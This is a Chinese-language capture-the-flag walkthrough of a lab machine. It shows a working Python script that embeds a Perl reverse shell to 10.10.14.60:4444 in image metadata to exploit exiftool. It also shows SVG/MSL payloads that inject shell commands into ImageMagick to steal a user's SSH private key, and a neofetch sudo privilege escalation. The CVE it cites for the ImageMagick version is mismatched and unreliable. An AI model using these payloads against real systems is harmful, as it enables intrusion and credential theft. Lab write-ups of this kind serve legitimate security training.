信息收集
发现目标主机只开放了ssh和web服务
当我们访问web主页时,发现只是一个很普通的apache搭建的页面
目录扫描貌似好像也没发现什么有价值的信息
什么发现也没有,当我们扫描子域名时,发现了一个子域
当我们访问这个子域时,发现是一个文件上传的点。经过反复测试,初步断定它对上传内容进行了仔细的检查,任何不符合图片特征的文件都会被过滤掉
那我们尝试上传一张正常的图片试试,这个格式是否很眼熟?对的,这是exiftool工具的输出格式
漏洞利用
说实话这里是我自己本人没想到,可能是我自己的经验不太够吧。这里我们要找的是exiftool对应的漏洞,对的没想到吧,我也是参考了别人的意见才知道的。这里已经披露出了对应的漏洞编号了
我选择了第二个网址上的漏洞利用脚本,因为上面那个依赖问题太复杂了。首先我们先生成一个图片马文件,将脚本文件的IP和监听端口改成我们对应的IP和端口
#!/bin/env python3
import base64
import subprocess
ip = '10.10.14.60'
port = '4444'
payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"
payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode() )
payload = payload + b"'))};\")"
payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()
subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])
上传image.jpg木马图片后,我们得到了www-data用户的权限
但是当我们进入thomas用户的.ssh
目录时,发现没有权限,并且user.txt文件也没有权限查看
查看主机的内核版本,发现是64位的Linux主机
我们可以尝试上传pspy64这个脚本进行探测,pspy 是一个命令行工具,旨在侦听进程而无需 root 权限。它允许您在执行时查看其他用户、cron 作业等运行的命令。发现了一个convert_images.sh
脚本
我们查看一下这个脚本的内容,发现它是先进入到对应的目录中,然后再运行mogrify这个程序将发现的文件转换为png文件,最后杀死这个进程。
我们可以查看一下mogrify这个程序的版本,发现是7.0.10-36
在网上搜索到对应的漏洞编号是CVE-2016-3714
利用的方法是上传一个poc.svg文件到/dev/shm
目录下,并将poc.svg文件复制到/var/www/dev01.artcorp.htb/convert_images/
这个目录下,经过一段时间后会生成一个0wned文件,输出了用户名证明文件成功执行了包含的命令
<image authenticate='ff" `echo $(id)> /dev/shm/0wned`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
那我们修改一下poc.svg里面的内容,尝试将thomas
账户的密钥文件读取出来
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
成功读取密钥信息,我们可以开启一个http服务将id_rsa文件下载下来
重新编排一下顺序后,可以成功连接到thomas用户
提权到ROOT
我们输入sudo -l
命令,发现一个neofetch
程序可以以root身份运行
我们尝试运行这个程序,输出是linux内核的基本信息
既然这个程序可以利用,那么我们可以进入这个程序的配置文件中,更改其配置文件信息达到我们提权的目的。我们更改/home/thomas/.config/neofetch
这个目录下的config.conf文件
因为我们使用neofetch程序提权的时候,会保留XDG_CONFIG_HOME的环境变量,所以我们要将thomas.config导出到基本配置环境路径
得到root权限
总结
总的来说,这个靶机还是相当有难度的。我后面提权部分基本也是照着别人的建议来做,真的实在是太难了。提权和漏洞利用的方法都是在红队攻防实战中非常常见的,能掌握对技术提升方面很有帮助。